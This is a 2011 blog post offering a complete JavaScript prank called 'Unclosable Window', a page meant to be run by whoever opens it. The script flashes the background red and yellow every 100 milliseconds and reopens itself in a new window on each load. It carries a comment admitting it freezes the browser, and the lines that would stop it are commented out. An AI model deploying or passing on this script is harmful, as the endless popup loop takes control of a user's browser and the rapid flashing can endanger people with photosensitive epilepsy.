Sunday, 17 July 2011

Unclosable Window

I had already explain such kind of effect in my previous posts but now it is with different way.


Yeah, you should recheck your mind carefully before run this script, maybe it will not be funny and you have to enable popup for this damn script, lol.



Source : 


<html>
<head>
<title>Unclosable Window</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="copyright" content="JavaScriptBank.com" />
<script language=JavaScript>
/*
Source of MainPart: Stefan Münz, Selfhtml 7.0, tecb.htm
*/

activ = window.setInterval("Farbe()",100);
i = 0, farbe = 1;
function Farbe() {

if(farbe==1) {
document.bgColor="FFFF00"; farbe=2; }
else {
document.bgColor="FF0000"; farbe=1; }
i = i + 1;

//if you don't want to freeze the browser uncommend the next two lines
//if(i >= 50)
//window.clearInterval(activ);
}

function erneut(){
window.open(self.location,'');
}
window.onload = erneut;
</script>
</head>
<body>
<h1>Unclosable Window</h1>
</body>
</html>





                       Share link : http://adf.ly/25ef3

0 comments:

Post a Comment

Please do not spam

Related Posts Plugin for WordPress, Blogger...